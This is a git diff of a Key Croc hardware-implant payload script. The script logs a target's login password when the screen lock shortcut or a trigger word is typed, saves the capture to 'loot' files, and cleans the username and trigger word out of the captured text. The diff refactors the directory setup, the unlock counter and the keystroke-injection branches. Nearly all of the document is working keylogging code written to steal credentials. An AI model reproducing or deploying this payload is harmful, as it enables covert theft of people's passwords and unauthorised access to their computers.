parent
b91cf3ce2a
commit
1c69fa92fb
|
@ -2,18 +2,15 @@
|
||||||
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
|
# Description: Save target passwd with SAVEKEYS command by pressing GUI-l or CONTROL-ALT-F3
|
||||||
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
|
# Log in with typing crocunlock, save at /loot/Croc_Pot/Croc_unlock.txt.filtered and /tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||||
# Author: Spywill / RootJunky
|
# Author: Spywill / RootJunky
|
||||||
# Version: 2.0
|
# Version: 2.1
|
||||||
# Category: Key Croc
|
# Category: Key Croc
|
||||||
|
|
||||||
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
|
MATCH (crocunlock|GUI-l|CONTROL-ALT-F3)
|
||||||
|
|
||||||
UNLOCK_TMP="/tmp/unlock_Count.txt"
|
UNLOCK_TMP="/tmp/unlock_Count.txt"
|
||||||
|
|
||||||
if [[ -d "/root/udisk/loot/Croc_Pot" && "/root/udisk/tools/Croc_Pot" ]]; then
|
CROC_POT_DIR=(/root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot)
|
||||||
LED B
|
for dir in "${CROC_POT_DIR[@]}"; do [[ ! -d "$dir" ]] && mkdir "$dir" || LED B; done
|
||||||
else
|
|
||||||
mkdir -p /root/udisk/loot/Croc_Pot /root/udisk/tools/Croc_Pot
|
|
||||||
fi
|
|
||||||
|
|
||||||
UNLOCK_FILE() {
|
UNLOCK_FILE() {
|
||||||
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
|
until [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; do
|
||||||
|
@ -25,12 +22,12 @@ UNLOCK_FILE() {
|
||||||
}
|
}
|
||||||
|
|
||||||
UNLOCK_COUNT() {
|
UNLOCK_COUNT() {
|
||||||
if [ -f ${UNLOCK_TMP} ]; then
|
if [ -f $UNLOCK_TMP ]; then
|
||||||
i=$(sed -n 1p ${UNLOCK_TMP})
|
i=$(sed -n 1p $UNLOCK_TMP)
|
||||||
echo $(( $i + 1 )) > ${UNLOCK_TMP}
|
echo "$(( $i + 1 ))" > $UNLOCK_TMP
|
||||||
RELOAD_PAYLOADS
|
RELOAD_PAYLOADS
|
||||||
else
|
else
|
||||||
echo $(( i++ )) > ${UNLOCK_TMP}
|
echo "$(( i++ ))" > $UNLOCK_TMP
|
||||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
||||||
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
|
cat /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered >> /root/udisk/loot/Croc_Pot/Croc_unlock.txt.filtered
|
||||||
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
|
rm -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered /root/udisk/tools/Croc_Pot/Croc_unlock.txt
|
||||||
|
@ -40,29 +37,22 @@ UNLOCK_COUNT() {
|
||||||
}
|
}
|
||||||
|
|
||||||
case $LOOT in
|
case $LOOT in
|
||||||
GUI-l)
|
"GUI-l" | "CONTROL-ALT-F3")
|
||||||
UNLOCK_COUNT
|
UNLOCK_COUNT
|
||||||
Q KEYCODE 00,00,2c
|
Q BACKSPACE
|
||||||
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
|
if [ "$(sed -n 1p $UNLOCK_TMP)" -eq "0" ]; then
|
||||||
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
if [ "$LOOT" = "CONTROL-ALT-F3" ]; then
|
||||||
LED ATTACK
|
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS.txt ]; then
|
||||||
UNLOCK_FILE
|
if [ "$(sed -n 3p /root/udisk/tools/Croc_Pot/Croc_OS.txt)" = "raspberrypi" ]; then
|
||||||
else
|
|
||||||
RELOAD_PAYLOADS
|
|
||||||
UNLOCK_FILE
|
|
||||||
fi
|
|
||||||
;;
|
|
||||||
CONTROL-ALT-F3)
|
|
||||||
UNLOCK_COUNT
|
|
||||||
if [ "$(sed -n 1p ${UNLOCK_TMP})" -eq "0" ]; then
|
|
||||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt ]; then
|
|
||||||
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
|
Q STRING "$(sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt)"
|
||||||
Q ENTER
|
Q ENTER
|
||||||
Q DELAY 1000
|
Q DELAY 1000
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
||||||
LED ATTACK
|
LED ATTACK
|
||||||
UNLOCK_FILE
|
UNLOCK_FILE
|
||||||
fi
|
|
||||||
else
|
else
|
||||||
RELOAD_PAYLOADS
|
RELOAD_PAYLOADS
|
||||||
UNLOCK_FILE
|
UNLOCK_FILE
|
||||||
|
@ -70,8 +60,8 @@ SAVEKEYS /root/udisk/tools/Croc_Pot/Croc_unlock.txt UNTIL ENTER
|
||||||
;;
|
;;
|
||||||
crocunlock)
|
crocunlock)
|
||||||
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
if [ -f /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered ]; then
|
||||||
$(sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
|
sed -i -e 's/'`sed -n 1p /root/udisk/tools/Croc_Pot/Croc_OS_Target.txt`'//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||||
$(sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered)
|
sed -i -e 's/crocunlock//g' /root/udisk/tools/Croc_Pot/Croc_unlock.txt.filtered
|
||||||
LED G
|
LED G
|
||||||
Q BACKSPACE
|
Q BACKSPACE
|
||||||
Q BACKSPACE
|
Q BACKSPACE
|
||||||
|
|
Loading…
Reference in New Issue